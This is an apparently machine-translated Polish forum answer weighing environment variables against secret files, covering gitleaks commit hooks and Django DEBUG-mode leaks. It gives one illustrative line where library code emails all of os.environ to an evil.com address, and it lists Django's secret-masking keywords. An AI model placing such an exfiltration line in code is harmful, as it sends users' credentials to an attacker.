AFAICT, istnieją dwa powody, dla których ludzie zalecają przechowywanie sekretów w zmiennych środowiskowych:
- Zbyt łatwo jest nieumyślnie przekazać tajne płaskie pliki do repozytorium. (A jeśli jest to publiczne repozytorium, jesteś tostem).
- Zapobiega bałaganowi w hasłach, tj. Posiadanie tego samego klucza w wielu różnych plikach katalogu projektu samo w sobie stanowi zagrożenie bezpieczeństwa, ponieważ programiści ostatecznie stracą orientację, gdzie znajdują się sekrety.
Te dwa problemy można rozwiązać w lepszy sposób. To pierwsze powinno zostać rozwiązane przez hak git commit, który sprawdza rzeczy, które wyglądają jak hasła (np. Gitleaks ). Chciałbym, żeby Linus wbudował takie narzędzie w kod źródłowy biblioteki git, ale niestety tak się nie stało. (Nie trzeba dodawać, że tajne pliki powinny być zawsze dodawane .gitignore
, ale potrzebujesz haka na wypadek, gdyby ktoś o tym zapomniał.)
Ten ostatni można rozwiązać, mając globalny plik tajnych firm, który najlepiej jest przechowywany na dysku współdzielonym tylko do odczytu. Więc w Pythonie możesz mieć coś takiego jak from company_secrets import *
.
Co ważniejsze, jak podkreślają inni, zbyt łatwo jest zhakować sekrety przechowywane w zmiennych środowiskowych. Na przykład w Pythonie autor biblioteki mógłby wstawić, send_email(address="evil.person@evil.com", text=json.dumps(os.environ))
a następnie wykonać toast, jeśli wykonasz ten kod. Hakowanie jest znacznie trudniejsze, jeśli masz w systemie plik o nazwie ~/secret_company_stuff/.my_very_secret_company_stuff
.
Tylko użytkownicy Django:
Django (w trybie DEBUG) pokazuje surową wartość zmiennej środowiskowej w przeglądarce, jeśli jest wyjątek (w trybie DEBUG). Wydaje się to wysoce niepewne, jeśli na przykład programista przypadkowo rozpoczyna DEBUG=True
produkcję. W przeciwieństwie do tego, Django CZY zaciemniać ustawienia hasła zmienne szukając strun API
, TOKEN
, KEY
, SECRET
, PASS
lub SIGNATURE
w ramach za settings.py
nazwami zmiennych pliku.